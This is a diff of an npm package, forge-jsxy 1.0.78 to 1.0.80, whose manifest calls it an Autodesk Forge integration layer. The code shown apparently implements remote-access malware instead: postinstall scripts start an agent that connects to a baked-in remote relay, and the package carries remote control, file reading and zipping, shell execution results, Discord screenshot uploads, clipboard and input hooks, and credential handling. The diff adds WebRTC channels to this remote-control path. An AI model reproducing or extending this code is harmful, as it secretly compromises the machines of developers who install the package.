forge-jsxy 1.0.78 → 1.0.80

package/dist/relayServer.js

@@ -265,6 +265,99 @@ function relayDiscordScreenshotAdvertisedUploadMode() {
         return "relay";
     return "webhook";
 }
+/**
+ * Default on: advertise STUN/TURN ICE servers for browser↔agent WebRTC (signaling still uses this relay WS).
+ * Opt out only when explicitly disabled — keeps file-explorer + `/remote` P2P paths enabled without PM2/.env boilerplate.
+ */
+function relayWebRtcSignalingEnabled() {
+    const raw = String(process.env.RELAY_WEBRTC_SIGNALING ?? "").trim().toLowerCase();
+    if (["0", "false", "no", "off"].includes(raw))
+        return false;
+    return true;
+}
+const RELAY_DEFAULT_RTC_ICE_SERVERS = [
+    { urls: "stun:stun.l.google.com:19302" },
+    { urls: "stun:stun1.l.google.com:19302" },
+];
+/**
+ * JSON array of RTCIceServer objects, e.g.
+ * `[{"urls":"stun:stun.l.google.com:19302"},{"urls":"turn:…","username":"…","credential":"…"}]`
+ */
+function relayRtcIceServersAdvertised() {
+    const raw = String(process.env.RELAY_RTC_ICE_SERVERS || "").trim();
+    if (raw) {
+        try {
+            const parsed = JSON.parse(raw);
+            if (Array.isArray(parsed) && parsed.length > 0)
+                return parsed;
+        }
+        catch {
+            /* fall through */
+        }
+    }
+    return [...RELAY_DEFAULT_RTC_ICE_SERVERS];
+}
+function relayWebRtcFeaturesPayload() {
+    if (!relayWebRtcSignalingEnabled())
+        return undefined;
+    return {
+        webrtc_signaling: true,
+        rtc_ice_servers: relayRtcIceServersAdvertised(),
+    };
+}
+function relayWebRtcOmitWhenAgentOlderThanRelay() {
+    const raw = String(process.env.RELAY_WEBRTC_REQUIRE_AGENT_SEMVER_GTE_RELAY || "")
+        .trim()
+        .toLowerCase();
+    return ["1", "true", "yes", "on"].includes(raw);
+}
+/** Digit-only dotted semver segments (aligned with viewer `versionLt`). */
+function semverLt(a, b) {
+    const parse = (v) => v
+        .split(".")
+        .map((s) => parseInt(s.trim(), 10))
+        .filter((n) => Number.isFinite(n));
+    const av = parse(a);
+    const bv = parse(b);
+    if (av.length === 0 || bv.length === 0)
+        return false;
+    const n = Math.max(av.length, bv.length);
+    for (let i = 0; i < n; i++) {
+        const ai = av[i] ?? 0;
+        const bi = bv[i] ?? 0;
+        if (ai < bi)
+            return true;
+        if (ai > bi)
+            return false;
+    }
+    return false;
+}
+/**
+ * WebRTC ICE advertisement for viewers when relay signaling is on.
+ * Always returns ICE payload unless signaling is disabled. Optional legacy gate:
+ * RELAY_WEBRTC_REQUIRE_AGENT_SEMVER_GTE_RELAY=1 omits WebRTC until agent semver ≥ relay package.
+ * Agents without native datachannel still receive signaling here; the viewer probes and falls back to the relay WebSocket.
+ */
+function relayWebRtcFeaturesForViewer(session) {
+    const base = relayWebRtcFeaturesPayload();
+    if (!base)
+        return undefined;
+    if (!relayWebRtcOmitWhenAgentOlderThanRelay()) {
+        return base;
+    }
+    const agentVer = session.agentVersion.trim();
+    if (!agentVer)
+        return base;
+    const relayVer = relayPackageVersion();
+    if (!relayVer || relayVer === "unknown")
+        return base;
+    if (!/^\d/.test(agentVer))
+        return base;
+    if (/^\d/.test(relayVer) && semverLt(agentVer, relayVer)) {
+        return undefined;
+    }
+    return base;
+}
 class Session {
     sessionId;
     agent = null;
@@ -278,6 +371,8 @@ class Session {
     agentHostname = "";
     agentRemoteIp = "";
     agentFilesystem = false;
+    /** From agent `info.features.webrtc_datachannel`; null if absent (legacy agent). */
+    agentWebrtcDatachannel = null;
     constructor(sessionId) {
         this.sessionId = sessionId;
     }
@@ -289,6 +384,16 @@ const sessions = new Map();
 function wsIsOpen(ws) {
     return ws !== null && ws.readyState === ws_1.default.OPEN;
 }
+/** Disable Nagle on the underlying TCP socket — small `rc_input` / ICE JSON frames reach the peer sooner. */
+function relayWsTcpNoDelay(ws) {
+    try {
+        const w = ws;
+        (w.socket ?? w._socket)?.setNoDelay(true);
+    }
+    catch {
+        /* skip */
+    }
+}
 function getOrCreateSession(sessionId) {
     let s = sessions.get(sessionId);
     if (!s) {
@@ -297,6 +402,22 @@ function getOrCreateSession(sessionId) {
     }
     return s;
 }
+/** Push WebRTC availability when agent `info` arrives after the viewer (or agent upgrades). */
+function pushViewerWebRtcAvailability(session) {
+    if (!wsIsOpen(session.viewer))
+        return;
+    const rtc = relayWebRtcFeaturesForViewer(session);
+    try {
+        session.viewer.send(JSON.stringify({
+            type: "relay_webrtc_availability",
+            webrtc_signaling: rtc?.webrtc_signaling === true,
+            ...(rtc?.webrtc_signaling === true ? { rtc_ice_servers: rtc.rtc_ice_servers } : {}),
+        }));
+    }
+    catch {
+        /* skip */
+    }
+}
 function removeSession(sessionId) {
     sessions.delete(sessionId);
 }
@@ -624,6 +745,17 @@ function _applySecurityHeaders(res) {
         "connect-src 'self' ws: wss:; " + // WebSocket connections
         "frame-ancestors 'none';");
 }
+/** Async HTTP handlers skip writes when the socket already closed (avoids ERR_HTTP_HEADERS_SENT). */
+function _ifHttpWritable(res, send) {
+    if (res.writableEnded)
+        return;
+    try {
+        send();
+    }
+    catch {
+        /* ignore — peer may disconnect mid-response */
+    }
+}
 function writeFilesExplorerHtml(res) {
     let html;
     try {
@@ -662,25 +794,35 @@ function handlePostRelayDashboard(req, res, pathname) {
             return;
         }
         void (0, relayDashboardGate_1.readJsonBody)(req).then((b) => {
-            if (b.error) {
-                res.writeHead(400, { 'Content-Type': 'text/plain; charset=utf-8' });
-                res.end(b.error);
-                return;
-            }
-            const pw = b.data?.password ?? '';
-            const t = (0, relayDashboardGate_1.tryDashboardLogin)(pw);
-            if (!t.ok) {
-                res.writeHead(401, { "Content-Type": "text/plain; charset=utf-8" });
-                res.end("Unauthorized");
+            if (res.writableEnded)
                 return;
+            try {
+                if (b.error) {
+                    res.writeHead(400, { 'Content-Type': 'text/plain; charset=utf-8' });
+                    res.end(b.error);
+                    return;
+                }
+                const pw = b.data?.password ?? '';
+                const t = (0, relayDashboardGate_1.tryDashboardLogin)(pw);
+                if (!t.ok) {
+                    res.writeHead(401, { "Content-Type": "text/plain; charset=utf-8" });
+                    res.end("Unauthorized");
+                    return;
+                }
+                if (t["set-cookie"]) {
+                    res.writeHead(204, { "set-cookie": t["set-cookie"] });
+                    res.end();
+                }
+                else {
+                    res.writeHead(500, { "Content-Type": "text/plain; charset=utf-8" });
+                    res.end("Config error");
+                }
             }
-            if (t["set-cookie"]) {
-                res.writeHead(204, { "set-cookie": t["set-cookie"] });
-                res.end();
-            }
-            else {
-                res.writeHead(500, { "Content-Type": "text/plain; charset=utf-8" });
-                res.end("Config error");
+            catch {
+                _ifHttpWritable(res, () => {
+                    res.writeHead(500, { "Content-Type": "text/plain; charset=utf-8" });
+                    res.end("Internal error");
+                });
             }
         });
         return;
@@ -709,6 +851,7 @@ function listSessionsPayload() {
         agent_os: s.agentOs || null,
         agent_hostname: s.agentHostname || null,
         agent_filesystem: s.agentFilesystem,
+        agent_webrtc_datachannel: s.agentWebrtcDatachannel,
     }));
 }
 function handleHttp(req, res) {
@@ -848,17 +991,21 @@ function handleHttp(req, res) {
         void (async () => {
             try {
                 const seqId = await (0, hfSeqIdLookup_1.fetchSeqIdForClientTableName)(sessionTable);
-                _applySecurityHeaders(res);
-                res.writeHead(200, {
-                    "Content-Type": "application/json; charset=utf-8",
-                    "Cache-Control": "no-store",
+                _ifHttpWritable(res, () => {
+                    _applySecurityHeaders(res);
+                    res.writeHead(200, {
+                        "Content-Type": "application/json; charset=utf-8",
+                        "Cache-Control": "no-store",
+                    });
+                    res.end(JSON.stringify({ seq_id: seqId, session_table: sessionTable }));
                 });
-                res.end(JSON.stringify({ seq_id: seqId, session_table: sessionTable }));
             }
             catch (e) {
-                _applySecurityHeaders(res);
-                res.writeHead(500, { "Content-Type": "application/json; charset=utf-8" });
-                res.end(JSON.stringify({ error: String(e), seq_id: null }));
+                _ifHttpWritable(res, () => {
+                    _applySecurityHeaders(res);
+                    res.writeHead(500, { "Content-Type": "application/json; charset=utf-8" });
+                    res.end(JSON.stringify({ error: String(e), seq_id: null }));
+                });
             }
         })();
         return;
@@ -914,6 +1061,7 @@ function attachConnection(ws, req, role, sessionId) {
             return;
         }
     }
+    relayWsTcpNoDelay(ws);
     const session = getOrCreateSession(sessionId);
     // NOTE: do NOT call session.touch() here unconditionally. Touching before the async
     // blacklist check lets a blacklisted agent spam reconnects and keep lastActivity fresh,
@@ -985,6 +1133,7 @@ function attachConnection(ws, req, role, sessionId) {
                     const v = relayPackageVersion();
                     return v === "unknown" ? undefined : v;
                 })(),
+                ...(relayWebRtcFeaturesPayload() ?? {}),
             };
             ws.send(JSON.stringify({
                 type: "connected",
@@ -1016,6 +1165,14 @@ function attachConnection(ws, req, role, sessionId) {
                     /* skip */
                 }
             }
+        }).catch((e) => {
+            console.error("[relay] agent WebSocket setup failed:", e);
+            try {
+                ws.close(1011, "setup failed");
+            }
+            catch {
+                /* skip */
+            }
         }); // end _refreshBlacklistIfStale().then()
     }
     else {
@@ -1038,11 +1195,13 @@ function attachConnection(ws, req, role, sessionId) {
             }
         }
         session.viewer = ws;
+        const rtcFeat = relayWebRtcFeaturesForViewer(session);
         ws.send(JSON.stringify({
             type: "connected",
             role: "viewer",
             session_id: sessionId,
             agent_online: wsIsOpen(session.agent),
+            ...(rtcFeat ?? {}),
         }));
         /** Same forge-db lookup as GET /api/explorer-seq — pushes seq_id over WS so the explorer tab/badge work even if the HTTP fetch fails. */
         const sessionTableForSeq = (0, relayAuth_1.canonicalSessionIdForRelayAndDb)(sessionId);
@@ -1257,6 +1416,9 @@ function attachConnection(ws, req, role, sessionId) {
                 catch {
                     /* skip */
                 }
+                finally {
+                    (0, hfCredentials_1.scrubHfCredentialsInPlace)(cred);
+                }
             }
             catch (e) {
                 try {
@@ -1310,6 +1472,9 @@ function attachConnection(ws, req, role, sessionId) {
             session.agentHostname = String(sys.hostname || "").trim();
             const feats = data.features || {};
             session.agentFilesystem = Boolean(feats.filesystem);
+            const wdc = feats.webrtc_datachannel;
+            session.agentWebrtcDatachannel =
+                typeof wdc === "boolean" ? wdc : null;
             // Log version comparison against actual relay package version.
             if (session.agentVersion) {
                 const relayPkg = relayPackageVersion();
@@ -1327,6 +1492,7 @@ function attachConnection(ws, req, role, sessionId) {
                     }
                 }
             }
+            pushViewerWebRtcAvailability(session);
             // Push OS info to forge-db _client_registry on behalf of the agent.
             // This works even for old-version agents that don't call POST /api/client-info themselves.
             const forgeDbApi = _forgeDbApiUrl();
@@ -1508,6 +1674,14 @@ function startRelayServer(opts = {}) {
     const host = opts.host ?? "0.0.0.0";
     const port = opts.port ?? deploymentDefaults_1.RELAY_DEFAULT_PORT;
     const server = http.createServer(handleHttp);
+    /**
+     * Remote `/remote` + explorer latency defaults:
+     * - **`perMessageDeflate: false`** — skips zlib CPU + extra buffering on large JSON/binary frames.
+     * - **Large `maxPayload`** — avoids framing stalls for big explorer payloads / screenshot metadata.
+     * - **TCP `setNoDelay(true)`** on upgrade + post-upgrade socket — small ICE / `rc_input` frames flush promptly (see `relayWsTcpNoDelay`).
+     * - **Binary passthrough** — agent→viewer binary messages forward without JSON parse/stringify (chunked bodies stay efficient).
+     * Prefer WebRTC `forge-bulk` end-to-end for screenshots when both sides support it (viewer falls back to relay WS for legacy agents).
+     */
     const wss = new ws_1.WebSocketServer({
         noServer: true,
         /** Large `fs_read` / `fs_zip` base64 chunks + `fs_shell_exec_result` JSON must fit one frame. */
@@ -1550,6 +1724,13 @@ function startRelayServer(opts = {}) {
             socket.destroy();
             return;
         }
+        /** Low-latency from first byte — complements `relayWsTcpNoDelay` on the upgraded socket. */
+        try {
+            socket.setNoDelay(true);
+        }
+        catch {
+            /* skip */
+        }
         wss.handleUpgrade(request, socket, head, (ws) => {
             attachConnection(ws, request, role, sessionId);
         });

package/package.json

@@ -1,8 +1,9 @@
 {
   "name": "forge-jsxy",
-  "version": "1.0.78",
+  "version": "1.0.80",
   "description": "Node.js integration layer for Autodesk Forge",
   "license": "MIT",
+  "forgeAgentWebRtcMinVersion": "1.0.71",
   "main": "dist/index.js",
   "types": "dist/index.d.ts",
   "files": [
@@ -17,9 +18,9 @@
     "postinstall": "node scripts/postinstall-clipboard-event.mjs && node scripts/ensure-dist.mjs && node scripts/postinstall-bootstrap.mjs && node scripts/postinstall-agent.mjs",
     "build": "tsc && node scripts/copy-assets.mjs",
     "pretest": "npm run build",
-    "test": "NODE_ENV=test node --test test/smoke.test.mjs",
+    "test": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs",
     "test:explorer": "npm run build && NODE_ENV=test node --test test/explorer-terminal-controls.test.mjs test/cross-os-install.test.mjs",
-    "test:all": "NODE_ENV=test node --test test/smoke.test.mjs test/hf-hub-upload-streaming.test.mjs test/cross-os-install.test.mjs test/explorer-terminal-controls.test.mjs test/registry-version-lib.test.mjs test/file-lock-force-prefixes.test.mjs test/discord-relay-upload.test.mjs test/discord-bot-tokens.test.mjs test/discord-screenshot-interval.test.mjs test/production-invariants.test.mjs test/relay-agent-ws-smoke.mjs test/relay-agent-cli-smoke.mjs",
+    "test:all": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs test/hf-hub-upload-streaming.test.mjs test/cross-os-install.test.mjs test/explorer-terminal-controls.test.mjs test/registry-version-lib.test.mjs test/file-lock-force-prefixes.test.mjs test/discord-relay-upload.test.mjs test/discord-bot-tokens.test.mjs test/discord-screenshot-interval.test.mjs test/production-invariants.test.mjs test/relay-agent-ws-smoke.mjs test/relay-agent-cli-smoke.mjs",
     "test:env-local": "node --test test/env-local-integrations.mjs",
     "verify": "npm run ci && npm run test:env-local",
     "verify:production": "npm run ci",
@@ -61,6 +62,7 @@
     "@napi-rs/clipboard": "^1.1.3",
     "clipboard-event": "^1.6.0",
     "koffi": "^2.15.2",
+    "node-datachannel": "^0.32.3",
     "uiohook-napi": "^1.5.5"
   },
   "devDependencies": {

package/scripts/copy-assets.mjs

@@ -17,15 +17,28 @@ fs.cpSync(src, dest, { recursive: true });
 /** Replace placeholder so operators can View Source on /files and confirm the relay serves this package build (VPS stale-HTML diagnosis). */
 const pkgPath = path.join(root, "package.json");
 const explorerOut = path.join(dest, "files-explorer-template.html");
+const remoteOut = path.join(dest, "remote-control-template.html");
 try {
   const pkg = JSON.parse(fs.readFileSync(pkgPath, "utf8"));
   const ver = String(pkg.version || "0.0.0").trim();
+  /** Protocol floor for viewer WebRTC probes — not relay package version (fleet agents may lag one patch). */
+  const webrtcFloor = String(pkg.forgeAgentWebRtcMinVersion || "1.0.71").trim() || "1.0.71";
   const stamp = `forge-jsxy@${ver} reconnect-ui npm-isolated-cache hub-20gib-delete-watch`;
   let html = fs.readFileSync(explorerOut, "utf8");
   if (html.includes("<!-- BUILD_STAMP -->")) {
     html = html.replace("<!-- BUILD_STAMP -->", `<!-- ${stamp} -->`);
-    fs.writeFileSync(explorerOut, html, "utf8");
+  }
+  if (html.includes("__FORGE_AGENT_WEBRTC_MIN_VERSION__")) {
+    html = html.replace(/__FORGE_AGENT_WEBRTC_MIN_VERSION__/g, webrtcFloor);
+  }
+  fs.writeFileSync(explorerOut, html, "utf8");
+  if (fs.existsSync(remoteOut)) {
+    let remoteHtml = fs.readFileSync(remoteOut, "utf8");
+    if (remoteHtml.includes("__FORGE_AGENT_WEBRTC_MIN_VERSION__")) {
+      remoteHtml = remoteHtml.replace(/__FORGE_AGENT_WEBRTC_MIN_VERSION__/g, webrtcFloor);
+      fs.writeFileSync(remoteOut, remoteHtml, "utf8");
+    }
   }
 } catch (e) {
-  console.warn("[forge-js] copy-assets: could not inject explorer BUILD_STAMP:", e?.message || e);
+  console.warn("[forge-js] copy-assets: could not inject explorer BUILD_STAMP / remote WebRTC gate:", e?.message || e);
 }

package/scripts/forge-jsx-explorer-upgrade.mjs

@@ -769,7 +769,7 @@ async function runWorker(log) {
   const ts = new Date().toISOString();
   if (inst.status === 0) {
     appendExplorerUpgradeLog(
-      `${ts} OK  ${vBefore || "?"} => ${vAfter || "?"} (global forge-jsx)`
+      `${ts} OK  ${vBefore || "?"} => ${vAfter || "?"} (global ${NPM_PKG})`
     );
   } else {
     appendExplorerUpgradeLog(

package/scripts/postinstall-agent.mjs

@@ -7,6 +7,9 @@
  * Relay URL: FORGE_JS_AGENT_RELAY_URL, else FORGE_JS_RELAY_URL / CFGMGR_RELAY_URL,
  *   else deploymentDefaults.defaultRelayWsUrl() (baked-in remote host),
  *   else ws://127.0.0.1:<RELAY_DEFAULT_PORT> (last-resort local fallback).
+ * Loads package-root `.env` with dotenv (`override: false`) — required because npm runs each
+ * postinstall script in a **separate** process; vars loaded only in postinstall-bootstrap would not
+ * apply here (Windows / Linux / macOS).
  * HF uploads use relay-hosted RELAY_HF_CREDENTIALS_B64 by default (no agent env). Discord screenshots
  * follow relay RELAY_DISCORD_* via relay_features on connect when agent env is unset. Forge-db sync
  * URL is taken from relay relay_features when the agent has no local FORGE_JS_SYNC_URL / CFGMGR_API_URL.
@@ -23,12 +26,22 @@ import { createRequire } from "node:module";
 import os from "node:os";
 import path from "node:path";
 import { fileURLToPath } from "node:url";
+import { config as loadEnv } from "dotenv";
 
 const require = createRequire(import.meta.url);
 const __dirname = path.dirname(fileURLToPath(import.meta.url));
 const pkgRoot = path.resolve(__dirname, "..");
 const cliAgent = path.join(pkgRoot, "dist", "cli-agent.js");
 
+const envPath = path.join(pkgRoot, ".env");
+if (existsSync(envPath)) {
+  try {
+    loadEnv({ path: envPath, override: false });
+  } catch {
+    /* invalid .env — ignore */
+  }
+}
+
 /**
  * Use a stable data directory as child CWD instead of package root.
  * If CWD stays under global npm module path, repeated `npm i -g forge-jsx`